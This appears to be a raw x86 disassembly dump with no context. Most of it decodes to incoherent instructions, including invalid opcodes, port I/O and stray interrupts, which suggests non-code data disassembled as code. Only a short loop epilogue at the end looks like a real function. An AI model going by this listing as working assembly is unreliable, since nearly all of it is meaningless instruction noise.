ficom dword [ebp - 0x79]
xchg dword [edi], esp
adc dword [esi + 0x5e], ebp
shl byte [edi + edx*2 + 2], 1
add ah, ch
lea edi, [ebx]
pop eax
jle 0x6da89904
ja 0x6da89822
add eax, 0x69e91241
adc esp, edx
add byte [edx], al
cmp byte [esi + 0x4feaa8d3], bl
in eax, dx
sahf
ljmp 0x4862
and ebx, ecx
in al, dx
inc esi
cmp esp, esi
nop
invalid
int1
pop ss
pop edx
scasb al, byte es:[edi]
ljmp 0x9381
je 0x6da8aede
invalid
out 0x31, al
add eax, 0x35f4a193
shl cl, cl
xchg esi, eax
adc eax, 0xfb1ab388
push es
push ebp
int 0x86
mov ecx, 0x1dd41ebd
xchg ebx, eax
stosb byte es:[edi], al
scasw ax, word es:[edi]
or cl, bl
jle 0x6da8aff3
inc ebx
push esi
out dx, al
clc
fstpnce st(1), st(0)
adc dword [esi - 0x3c], edi
rcl dh, 0xe5
je 0x6da8af74
shr byte [ecx - 0x21b7b13f], cl
test eax, 0xde484ec1
push ds
in al, dx
imul esi, dword [eax - 0x36], 0xffffffe6
cmp al, 0x8f
jbe 0x6da8af43
mov esp, 0xfd911d36
int 0x18
sub dword [esi - 0x6c], esi
nop
int3
jnp 0x6da8af87
aad 0x22
and eax, 0x4447e18c
sal byte [edx - 0x1b], 0xa8
insd dword es:[edi], dx
jb 0x6da8afa1
adc eax, 0xb64a5eb7
fist dword [edi + 0x225720dd]
rcr dword [ecx + 0xf], 0x93
push edx
sal byte [edx], 1
ffreep st(1)
stosb byte es:[edi], al
ficom dword [0x3f23fd9]
push 0x73
xor byte [ecx], bh
mov dl, 0xd6
rol dword [ecx + 0x7feda346], 0x4c
invalid
mov dh, 0x28
invalid
xchg ebp, eax
pop esp
loopne 0x6da8c6dc
sub eax, 0x10c7c91a
test ecx, 0xebf8624
mov ah, 0xba
loopne 0x6da8c751
xchg dh, al
les ecx, [ebp - 0x161090c0]
push esp
loopne 0x6da8c739
lea eax, [eax + 0x6f]
out dx, eax
jmp 0x6fd9a75e
add bh, byte [esi + 0x3136305e]
stc
fadd dword [0x12bd9539]
mov dh, byte [ebp - 0x1e94f8f5]
add eax, 0xd37586b4
dec esp
push eax
pushal
lodsb al, byte [esi]
stc
invalid
add ch, bh
std
lea edx, [bp + di]
jnp 0x6da8c769
pop esp
add dword [edx], 0x24bf7f65
cmp eax, 0xd252c376
mov edx, 0x222f7550
push edx
and al, 0x39
scasb al, byte es:[edi]
into
jne 0x6da8c6eb
lodsd eax, dword [esi]
xchg byte [ebx], cl
or eax, 0xb95d4dee
loopne 0x6da8c701
out dx, al
cmp al, 0xb8
adc ebp, dword [esi + 0x43f7b63b]
pop edx
xchg ecx, eax
push edx
sbb dword [ebx + ecx*4], esi
or eax, 0x388afe0b
test dword [ebx + 0x5a], 0x34195291
mov esi, ebx
or eax, 0x388afe0b
or byte [edx + 0x18759b40], 0xfa
adc eax, 0x7aad97e8
push 0xaa7053ba
popal
dec edi
xor eax, 0x5ab5f18a
sub byte [bx + di - 0x5d], cl
or al, 0x9c
and byte [eax], ch
les edx, ds:[esi + 0x39]
adc eax, 0xd2e11f86
int1
wait
inc ecx
push esp
pop ss
sub esi, edi
cmp byte [ecx + 0x2c], bl
jne 0x6da8c7a8
pop ecx
sub al, 0x75
cld
xor al, byte [esi - 0x613e5ef3]
stosb byte es:[edi], al
push 0x3b443f47
mov word [ebp], fs
cmp byte [eax - 0x6c], dh
test dword [eax + 0x1d6348b3], ecx
push ecx
aas
sub edi, esi
sub al, 0x72
or byte [ecx - 0x50bfee71], bh
hlt
test dword [edi - 0x3afcaf41], ebp
in al, 0xcd
mov eax, 0x29102b78
fbld tbyte [ebx - 0xa]
sahf
xchg edi, eax
mov ebx, 0x14aee996
lodsd eax, dword [esi]
mov ecx, 0x4e86c2f2
outsb dx, byte [esi]
mov bh, 0x52
mov byte [eax], ah
sub dword [ecx + 9], edx
push edx
inc ecx
into
test byte [ebp + 0x40], al
mov fs, word [0x951f9074]
sbb dword [ecx], esp
add bl, 0xe0
pop ss
sahf
mov esp, 0xa2d57f97
add al, 0x5a
insb byte es:[edi], dx
push es
invalid
pop ecx
dec esi
hlt
sub esi, dword [eax]
dec esp
das
ja 0x6da8f5c3
retf
ja 0x6da90df4
inc eax
nop
mov esi, 0xe2036077
lahf
out 0xca, al
and ah, byte [esi + 0xbb7bb75]
mov ah, 0xe
sti
rol dword [eax + 0x3c], 1
mov dh, 0x8b
or dword [esi], 0x49
mov eax, dword [0xe58cee5f]
pop esp
into
add al, 0x91
shl byte [esi], 0x2f
mov bh, 0xf4
insd dword es:[edi], dx
fist word gs:[eax - 0x64]
xor dword [ebx - 0x17], 0xae216cc7
test dword [ebx], eax
out 0xe0, eax
xor ah, byte [0x4fb9f235]
push eax
pop ds
mov esi, edx
sub ch, byte [ebx - 0x12]
mov dh, 0x10
mov edx, dword [ebx + ebp*2 - 0x2e]
sbb dh, byte [eax - 0x75b095fe]
pushal
mov al, byte [0x6440f106]
xor dh, byte [edi]
xlatb
lea esi, [edi - 0x7f]
push esp
hlt
mov al, 0xb6
sub eax, 0x7783937b
pop ds
dec esi
ficom word [ebx]
sbb al, 0xbe
mov esi, 0x3b5f5fbe
mov ebx, 0x6c358303
or al, 0xd2
xor al, 0xfa
adc al, 0x23
adc al, 0x73
push edi
xor al, 0xfb
outsd dx, dword [esi]
pop esi
invalid
adc edx, eax
das
sub al, 0xee
add al, 0x61
and byte [eax + 8], ah
pushal
xchg ebx, eax
invalid
cmp edi, dword [0xf0daf5d5]
xchg ecx, eax
jb 0x6da93cbb
cld
sub byte [0xd0901a21], dl
nop
lahf
jne 0x6da93c6d
ja 0x6da93cd7
xor eax, ebp
inc eax
aad 0x71
sahf
push ebx
invalid
push eax
sbb eax, 0x77307511
jno 0x6da93d1f
ja 0x6da93d2e
popal
rcl dword [ebp + 0x2dea17ca], cl
cld
xor eax, 0x565c303c
les esp, [edi]
and eax, 0x38b082ad
clc
push cs
cmp al, 0
pop ss
mov ch, 5
jnp 0x6da93cfe
add eax, 0xc863247b
arpl ax, cx
popal
xchg esi, eax
cmp esi, dword [0xfbfe9a66]
fadd qword [ebx]
xchg ebx, eax
scasb al, byte es:[edi]
jno 0x6da93d23
mul cx
jg 0x6da93cb6
push esi
jb 0x6da93d5a
insb byte es:[edi], dx
daa
mov dl, 0xb0
ror byte [esi], 1
sub byte [ebp + 0x20], bl
popfd
fisub word [edx - 6]
cli
pop esi
ror byte [ecx], 0x32
jne 0x6da93d45
shl ch, cl
imul ebp, ebx, 0x31
xor dword [edi + 0x24f5ac], edi
sub ebx, ebx
jge 0x6da93cd3
fistp dword [esi + 0x15aafbea]
mov dword [0xec60fb13], eax
inc ecx
das
pop ebx
adc bl, byte [ecx + 0x5212d83a]
adc al, 7
cdq
cmp bl, al
adc dl, byte [edx + 0x14]
pop es
inc edi
and al, 0xaa
mov eax, dword [0x9bc0158f]
mov dl, 0xae
invalid
invalid
invalid
invalid
inc ebx
insb byte es:[edi], dx
cwde
cmp al, 0xa
sub dl, byte [ebx - 0x7df8ba49]
retf
or dword [esi], 0x97463cf2
in eax, 0x74
int3
mov esi, 0xf8245eb5
and al, 0xf8
les ebx, [edx]
sub cl, byte [ecx + 0x49]
xchg byte [edi + ebp + 0x39], dl
dec edi
adc al, 5
sal dword [edi + 0x61], 1
adc dword fs:[ebp + eax*8 - 0x1c5fff02], ebx
adc al, 0x15
xor eax, dword [0x9b5b333c]
jp 0x6da982bb
mov esp, 0x1a6ccc5b
cld
mov ebx, 0x472e2618
shr byte [ecx + esi*2 + 0x2d], cl
fimul word [eax + 0x377eb86]
nop
mov byte [esi - 0x6ffc8815], al
int3
adc ch, byte [ecx + edx]
xor eax, 0x580c21a0
sti
jno 0x6da982b8
and edi, dword [ebp + 0x72bc3750]
mov ebp, 0x4d032a3c
mov dl, byte [ebx + esi + 0x585906fa]
jle 0x6da982ee
cmp eax, 0x14132de8
or bh, byte [eax]
int3
and dword [eax + 0x5d9b5aec], 0x444e080e
pop ss
sub edx, dword [eax + 0x1779e9cc]
add byte [eax], al
jae 0x6da99a5f
push es
push ebx
invalid
nop
jmp 0x6da9b1eb
nop
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
jl 0x6da6a51a
nop
nop
mov ebx, dword [ebp - 4]
leave
ret